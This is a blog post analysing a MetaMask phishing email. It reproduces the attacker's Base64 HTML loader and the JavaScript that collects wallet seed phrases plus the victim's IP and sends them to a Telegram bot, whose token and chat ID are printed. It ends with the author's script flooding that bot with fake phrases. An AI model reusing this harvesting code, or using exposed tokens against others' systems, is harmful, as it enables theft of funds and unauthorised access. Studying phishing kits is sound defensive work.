Exploration of a Random MetaMask Phishing Campaign
A few days ago, I received a pretty credible-looking MetaMask phishing email stating that my account had been locked due to an attempt to connect a new device to it. Too bad I don’t even own a MetaMask account, but despite that, I decided to spend a bit of time and look into how the whole campaign worked, as I rarely receive any kind of spam nowadays.
Email attachment
The attached HTML file RemovedDevice.html
contained a bare-bones HTML structure with a bit of JS and a long Base64 encoded string which the attached script would decode and use jQuery to attach it back to the website body.
$(document).ready(function () {
saveFile();
});
function saveFile(name, type, data) {
if (data != null && navigator.msSaveBlob)
return navigator.msSaveBlob(new Blob([data], { type: type }), name);
var a = $("<a style='display: none;'/>");
var encodedStringAtoB = "<base64-encoded-string>";
var decodedStringAtoB = atob(encodedStringAtoB);
const myBlob = new Blob([decodedStringAtoB], { type: "text/html" });
const url = window.URL.createObjectURL(myBlob);
a.attr("href", url);
$("body").append(a);
a[0].click();
window.URL.revokeObjectURL(url);
a.remove();
}
The resulting webpage would display 12/15/18/21/24 input fields for a crypto wallet seed phrases of various lengths.
The campaign operator was using Telegram as the backend, but didn’t apparently care enough to even attempt to hide the API token and chat ID from the source with some obfuscation logic. Additionally it’s also clear that the data was being exfiltrated into a private chat based on the chat ID format (private chats don’t have a dash prefix, whereas supergroups and channels have a -100
prefix).
// Add your telegram token,chatid
const token = "7686154983:AAFtpdY6iTjT7UiTK6cXh0fM2T4CKfjRHl0";
const chatId = "7839331161";
Before sending the collected information to the Telegram chat, the JavaScript code would also make a quick GET
request to ipinfo.io
to get the victim’s public IP and related location data. This information would probably be used to pick a proxy for the wallet draining stage.
wordForm1.addEventListener("submit", (e) => {
e.preventDefault();
errbox.classList.add("hide");
let regex = /[!`@#$~%^&*()\-+={}[\]:;"'<>,.?\/|\\]/;
let regex2 = /\d/;
let pass = false;
for (let i = 0; i < word12Input.length; i++) {
if (regex.test(word12Input[i].value) || regex2.test(word12Input[i].value)) {
pass = true;
}
}
if (pass) {
errbox.classList.remove("hide");
} else {
if (
word12_1.value === "" ||
word12_2.value === "" ||
word12_3.value === "" ||
word12_4.value === "" ||
word12_5.value === "" ||
word12_6.value === "" ||
word12_7.value === "" ||
word12_8.value === "" ||
word12_9.value === "" ||
word12_10.value === "" ||
word12_11.value === "" ||
word12_12.value === ""
) {
btncofirm1.disabled = true;
} else {
preloader.classList.remove("hide");
let data = `IP: ${ip.ip}\nRegion: ${ip.region}\nTime Zone: ${ip.timezone}\nWord 1: ${word12_1.value} \nWord 2: ${word12_2.value} \nWord 3: ${word12_3.value} \nWord 4: ${word12_4.value} \nWord 5: ${word12_5.value} \nWord 6: ${word12_6.value} \nWord 7: ${word12_7.value} \nWord 8: ${word12_8.value} \nWord 9: ${word12_9.value} \nWord 10: ${word12_10.value} \nWord 11: ${word12_11.value} \nWord 12: ${word12_12.value}`;
postData(data);
setTimeout(() => {
preloader.classList.add("hide");
noDone.classList.add("hide");
done.classList.remove("hide");
timer2(10);
}, 4000);
}
}
});
Greetings
After discovering the valid token from the source, I had a sudden urge to try it out 🤔. I began with a simple getMe
request:
{
"ok": true,
"result": {
"id": 7686154983,
"is_bot": true,
"first_name": "wegomakeit",
"username": "wegomakeit_bot",
"can_join_groups": true,
"can_read_all_group_messages": false,
"supports_inline_queries": false,
"can_connect_to_business": false,
"has_main_web_app": false
}
}
And then proceeded to something a bit more interesting:
import random
import requests
from time import sleep
from address import generate_residential_ip
from phrase import generate_seed_phrase, bip39_words
TOKEN = "7686154983:AAFtpdY6iTjT7UiTK6cXh0fM2T4CKfjRHl0"
CHAT_ID = "7839331161"
API_BASE_URL = f"https://api.telegram.org/bot{TOKEN}"
def construct_msg(words):
ip, region, timezone = generate_residential_ip()
phrase = generate_seed_phrase(words, random.choice([12, 15, 18, 21, 24]))
ip_str = f"IP: {ip}\nRegion: {region}\nTime Zone: {timezone}\n"
phrase_str = ""
for i, w in enumerate(phrase):
w_str = f"Word {i + 1}: {w} \n"
phrase_str += w_str
return ip_str + phrase_str
def send_msg(words, chat_id):
payload = {"chat_id": chat_id, "text": construct_msg(words)}
res = requests.post(f"{API_BASE_URL}/sendMessage", data=payload)
print(res.text)
words = bip39_words()
while True:
send_msg(words, CHAT_ID)
sleep(random.randint(1, 10))
In the end I was able to send roughly 10k messages before the person behind the campaign revoked the API token. I hope he’ll have a fun time trying to sort out the legitimate responses from the ones I sent.